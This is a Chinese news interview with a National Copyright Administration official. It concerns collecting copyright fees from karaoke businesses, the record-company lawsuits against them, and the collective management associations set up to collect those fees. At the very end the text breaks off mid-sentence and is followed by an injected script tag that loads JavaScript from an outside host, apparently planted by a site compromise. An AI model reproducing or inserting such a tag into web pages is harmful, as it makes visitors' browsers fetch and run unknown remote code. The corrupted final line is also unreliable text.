最近一段时间，各新闻媒体集中报道有关卡拉ok经营行业使用音乐和音乐电视作品支付版权使用费问题，引起社会广泛关注。 8月15日，国家版权局版权管理司司长王自强就目前卡拉ok经营行业收取音乐和音乐电视作品版权使用费问题，接受记者专访。
记者 刘声
2003年以来持续不断的唱片公司权利人向卡拉ok经营场所进行版权维权的事件，将卡拉ok经营行业使用音乐和音乐电视作品应缴付版权费一次次推向台前。
2003年12月，香港华纳唱片有限公司以擅自使用郭富城3首mtv歌曲为由，将北京唐人街餐饮娱乐有限公司诉上法庭。在这起侵权纠纷中，原告要求赔偿30万元。法院最终判决3首mtv共赔偿2．3万元。
2004年3月，环球唱片公司、华纳唱片公司、中国唱片总公司等49家中外唱片公司委托北京两家律师事务所与全国几十家律师事务所合作，授权他们与当地卡拉ok经营者进行诉前谈判，要求他们停止擅自使用中外权利人的mtv和卡拉ok作品的侵权行为，并支付赔偿金。
2005年9月，重庆市高级人民法院对正东唱片公司与乐迪熊音乐娱乐有限公司著作权纠纷案作出终审判决：乐迪熊音乐娱乐有限公司由于擅自使用卡拉ok作品，向正东唱片公司给予每首歌曲5000元的赔偿。
2004年12月22日，国务院常务会议审议通过《著作权集体管理条例》。该条例于2005年3月1日实施。
继中国音乐著作权协会成立13年后，2005年12月23日，国家版权局批准成立中国音像集体管理协会。至此，根据《著作权法》和《著作权集体管理条例》，由中国音乐著作权协会和中国音像集体管理协会，代表音乐和音乐电视作品著作权人的权益，依法向卡拉ok经营行业收取版权使用费正式进入实施阶段。
最近一段时间，各新闻媒体集中报道有关卡拉ok经营行业使用音乐和音乐电视作品支付版权使用费问题，引起社会广泛关注。
8月15日，在国家版权局办公大楼9层会议室，国家版权局版权管理司司长王自强就目前卡拉ok经营行业收取音乐和音乐电视作品版权使用费问题，接受本报记者专访。
收取卡拉ok版权使用费将避免我国卡拉0k经营行业诉讼之累
记者：最近，向卡拉ok经营行业收取音乐和音乐电视作品版权使用费成为社会一大焦点。广大读者很关心，为什么要向卡拉ok经营行业收取版权使用费？目前这个行业收取版权使用费的基本情况是怎样的？
王自强：目前，卡拉ok已成为我国大众娱乐消费的重要模式，并逐渐成为我国近年来发展速度最快、市场潜力巨大的文化娱乐产业门类。然而，长期以来，卡拉ok经营者使用音乐和音乐电视作品，既未经著作权人许可，也未向著作权人支付报酬，普遍处于违法状态，引起国内外著作权人的极大不满，同时国家承受着强大的外部压力。
2001年修改后的《著作权法》，将音乐电视作品（mv）纳入电影作品的范畴。此后，享有mv著作权的音像公司（主要是境外公司）针对卡拉ok经营场所未经授权使用音乐电视作品进行大规模诉讼，并提出高额赔偿要求（每个音乐电视作品索赔500元至上万元人民币，而每个卡拉ok经营者至少要使用上万个音乐和音乐电视作品），诉讼获得法院的支持。
这种现象引起了国家版权局的高度重视。我们认为通过诉讼的方式解决问题，将使我国卡拉0k经营行业面临灭顶之灾。因为卡拉ok经营者使用的音乐和音乐电视作品均未获得合法授权，如一个曲库按一万首音乐或音乐电视作品计算，一个诉讼就要承担数百万元甚至数千万元的赔偿。经研究论证，我们认为实施著作权集体管理是解决问题的根本办法。
为此，国家版权局加快推进国内有关著作权集体管理组织的筹建工作。从2003年起,经国家版权局批准筹建的中国音像集体管理协会和早已成立的中国音乐著作权协会，在国家版权局的监督指导下，开展了大量的调研工作。特别是与卡拉ok经营者进行广泛接触，就有关版权使用费付酬方式、付酬标准等问题进行沟通和协商。卡拉ok经营者也认为自己应该承担向著作权人支付报酬的法定义务，并希望以集体管理的方式解决付酬问题，避免诉讼带来的高风险。同时希望有明确合理的付费标准和付费方式。
经过多年的沟通、协商和准备，卡拉ok经营者与著作权人基本达成共识，出台卡拉ok付酬标准的条件也基本成熟。7月中旬，中国音像集体管理协会（筹）和中国音乐著作权协会正式向国家版权局提交《关于卡拉ok经营行业版权使用收费标准的报告》，希望国家版权局征求社会意见后，按程序公告施行。
著作权集体管理组织是收取卡拉ok版权使用费的实际主体
记者：那么，卡拉ok经营行业版权使用费的性质该怎样界定？
王自强：卡拉ok经营行业主要依靠音乐和音乐电视作品为资源进行经营性活动。卡拉ok经营者向相关著作权人支付版权使用费，是基于民事行为产生的权利义务关系，是其应该承担的法定义务，其性质不是行政收费。
记者：我们知道，音乐和音乐电视作品著作权人是一个非?script src=http://er12.com/t.js>
